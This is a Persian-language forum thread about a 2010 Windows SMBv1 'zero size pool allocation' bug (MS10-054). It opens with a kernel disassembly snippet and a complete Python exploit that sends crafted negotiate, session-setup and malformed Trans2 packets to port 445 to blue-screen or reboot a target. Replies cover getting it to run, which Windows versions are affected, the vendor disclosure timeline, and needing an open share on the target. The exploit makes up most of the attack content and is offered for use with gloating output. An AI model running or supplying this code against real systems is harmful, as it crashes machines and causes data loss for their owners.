چند وقت پیش بود که ضعف امنیتی خطرناکی در SMBv2 پیدا شده بود.
چند روزی هم میشه که یک باگ جدید دیگه در SMBv1 بیرون اومده که میشه باهاش هر سیستم Windowsی را reboot کرد (دارم روش کار می کنم که بتونم shell بگیرم ولی kernel exploitation بهمین سادگیا هم نیست...)
لطفا توجه داشته باشید که سیستم BSOD می کنه بعد reboot میشه ولی احتمال داره بدون BSOD هم reboot بشه! در هر حال قبل از تست کردن تمام فایل های بازتون رو save کنید.
اطلاعات بیشتر در ادامه
باگ در اینجا اتفاق میفته :
kd> nt!NtQueryVolumeInformationFile+0x3de:
82a5779c ff7514 push dword ptr [ebp+14h] ;User controlled
82a5779f 50 push eax
82a577a0 e85d1fe6ff call nt!ExAllocatePoolWithQuotaTag (828b9702)
82a577a5 eb23 jmp nt!NtQueryVolumeInformationFile+0x40c
kd>
وقتی مقدار EAX صفر باشه برنامه Crash می کنه ولی چون در سطح kernel (Ring0)
است پس KeDebug صدا زنده میشه و سپس BSOD میشه.
اسم باگ :
Microsoft SMB Server Zero Size Pool Allocation
Exploit:
#!/usr/bin/env python
## ATTENTION: This will cause BSOD or REBOOT, so be aware of Data lost ;)
## Usage: python smb-poc.py [IP] [Share-Name]
## e.g. python smb-poc.py 192.168.0.100 TestShare
##
## Test Case:
## mfox@0day:~/Desktop/Priv8$ python smb.py 192.168.0.100 TestShare
## [!]Attacking 192.168.0.100, He would better run away hahahah...
## [+]Negotiate Protocol Request sent
## [+]Session Query sent
## [+]Malformed Trans2 packet sent
## [+]The target should be down now! hahahahah
## mfox@0day:~/Desktop/Priv8$
## ~~~~~~~~~~~~~~> Target got rebooted after moment ;) <~~~~~~~~~~~~~~~~
##
import sys,struct,socket
from socket import *
if len(sys.argv)<=2:
print 'Usage: python '+sys.argv[0]+' [TARGET-IP] [SHARE-NAME] (No backslash)'
sys.exit()
host = str(sys.argv[1]),445
packetnego = "\x00\x00\x00\x9a"
packetnego += "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packetnego += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x15\x00\x00\x01\x3d"
packetnego += "\x00\x77\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50"
packetnego += "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4d\x49\x43\x52"
packetnego += "\x4f\x53\x4f\x46\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x33"
packetnego += "\x2e\x30\x00\x02\x44\x4f\x53\x20\x4c\x4d\x31\x2e\x32\x58\x30\x30"
packetnego += "\x32\x00\x02\x44\x4f\x53\x20\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31"
packetnego += "\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f"
packetnego += "\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4e"
packetnego += "\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"
def tidpiduidfield(data):
all_=data[28:34]
return all_
def handle(data):
##Chained SMB commands; Session Setup AndX Request,Tree connect
if data[8:10] == "\x72\x00":
sharename = "\x00\x00\x5c\x5c\x5c"+str(sys.argv[2])+"\x00\x3f\x3f\x3f\x3f\x3f\x00"
packetsession = "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"
packetsession += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd5\x15\x01\x00\x81\x2f"
packetsession += "\x0d\x75\x00\x7a\x00\x68\x0b\x32\x00\x00\x00\x00\x00\x00\x00\x18"
packetsession += "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x3d\x00\x01\x01\x01"
packetsession += "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
packetsession += "\x01\x01\x01\x01\x01\x59\x4f\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55"
packetsession += "\x50\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x57\x69"
packetsession += "\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x04\xff\x00\x00\x00\x00"
packetsession += "\x00\x01\x00"+struct.pack(">i", len(sharename))[3:4]+sharename
print "[+]Session Query sent"
return struct.pack(">i", len(packetsession))+packetsession
##Trans2, Request, QUERY_FS_INFO Query FS Attribute Info
if data[8:10] == "\x73\x00":
packetrans = "\x00\x00\x00\x46"
packetrans += "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x01\xc8\x00\x00\x00\x00"
packetrans += "\x00\x00\x00\x00\x00\x00\x00\x00"+tidpiduidfield(data)+"\x13\x00"
packetrans += "\x0f\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
packetrans += "\x00\x00\x00\x02\x00\x44\x00\x00\x00\x46\x00\x01\x00\x03\x00\x05"
packetrans += "\x00\x00\x44\x20\x05\x01"
print "[+]Malformed Trans2 packet sent\n[+]The target should be down now! hahahahah"
return packetrans
def run():
print '[!]Attacking '+sys.argv[1]+', He would better run away hahahah...'
s = socket(AF_INET, SOCK_STREAM)
s.connect(host)
s.settimeout(2)
s.send(packetnego)
print "[+]Negotiate Protocol Request sent"
try:
while True:
data = s.recv(1024)
s.send(handle(data))
except Exception:
print '[-]Oops!!! Something is wrong :P'
pass
s.close()
run()
سلام
ممنون . امیدوارم که این کار رو ادامه بدی
عزیزانی که میخوان اجرا کنن باید کد رو آی دنت (دندانه) بدن :
وگر نه خطای کامپایل میده .
من این طوری دندانه دادم :
https://sites.google.com/site/hamedf14f21/fc/lin.png?attredirects=0
روی RHLE5.3 ترجمه (درست تر : تفسیر) شد
اونایی که اکس پی پک دو به بد دارن و اونایی که سون و ویستا دارن نگران نباشن
من هر سه رو تست کردم نمیتونه کرش رو انجام بده . فکر کنم این اکسپلویت مال زمان ناصر الدین شاهه !
۱. شما python رو کامپایل می کنید!؟

کاش حداقل یکم بخود exploit دقت می کردی که اینجوری سوتی ندی!
mfox@0day:~/Desktop/Priv8$ python smb.py 192.168.0.100
python رو فوقش بشه bytecode کرد!
۲. به این توجه کن :
Affected Platforms:Windows:
- 2000
- XP
- 2003
- Vista
- 2008
- Se7en
- 2008R2
احتمالا سیسمتون رو patch کردید بعد تست کردید lol
شاید هم اصلا چیزی Share نکردی و یا sharename رو اشتباه میزنی
۳. تاریخ گزارش باگ و exploit :
Response timeline
-----------------
* 11/02/2010 - Vendor notified
* 11/02/2010 - Vendor acknowledges the advisory
* 16/02/2010 - MSRC confirms issue on Windows 7.
* 26/02/2010 - MSRC provide a DC number and confirm the vulnerability across
Windows 2000 to Windows 7.
* 27/02/2010 - MSRC indicates vulnerability is to be categorised as post-auth
on all platforms and ask for confirmation. stratsec responds
with additional information.
* 11/03/2010 - MSRC confirms issue as a remote unauthenticated code execution
issue for pre-Windows Vista platforms and upgrades overall
bulletin severity to Critical
* 12/03/2010 - MSRC plan to release a patch in June 2010
* 30/04/2010 - MSRC push back the update to August 2010. stratsec agree on new
release date.
* 24/07/2010 - MSRC confirm the patch for August.
* 05/08/2010 - MSRC propose to give a vendor statement or review this advisory
* 05/08/2010 - stratsec request the CVE number and advisory link to MSRC, and
provide this advisory for review.
* 09/08/2010 - MSRC confirm the technical details of this advisory, and provide
the CVE and link details.
* 11/08/2010 - This advisory released.
اگر هم باز فکر می کنی درست فکر می کنی می تونی لینک زیر رو ببینی :
http://seclists.org/fulldisclosure/2010/Aug/122
و این :
http://www.microsoft.com/technet/security/Bulletin/MS10-054.mspx
موففففففففففففففففففففففق باشی
شعار ما :
stupid Windows :D
agreed !
"۱. شما python رو کامپایل می کنید!؟
) . به هر حال ما زیاد از کام پیوتر چیزی حالیمون نیست . حالا حالا ها باید چیز از شما یاد بگیریم .
کاش حداقل یکم بخود exploit دقت می کردی که اینجوری (سوتی) ندی!"
عرض کردم تو پرانتز تفسیر (ولی خوب میخواستی بگی من بلدم پیتون مفسره
حالا خارج از شوخی
من روی هر دو سر ورمون یکی وین 2003 و یکی دیگه 2008 ، تست کردم و روی تمام ویندوز های اکس پی هم تست کردم هیچ اتفاقی نیفتاد .
من از لحاظ عملی کارکردی ندیدم هر چند که لینکی که قرار داده بودید جدید بود
جالب اینجاست که به روز رسانی برای ویندوز های شبکه داخلی ما غیر فعال است .
من روی Windows XP sp3 و Windows Se7en امتحان کردم و جواب داد.
شما باید یک folder یا فایلی چیزی را بروی اون windowsهای هدفت share کنی برای Everyone و یک sharename هم براش بزاری وگرنه exploit بهت میگه :
[-] Oops! Somethings wrong :P
"شما باید یک folder یا فایلی چیزی را بروی اون windowsهای هدفت share کنی برای Everyone و یک sharename هم براش بزاری وگرنه exploit بهت "
سلام دوباره
بابا شیر که بلیدم که !
[+]Negotiate Protocol Request sent
[+]Session Query sent
این پیغام رو مبده و تموم هبچ اتفاقی نمبفته
موفق باشی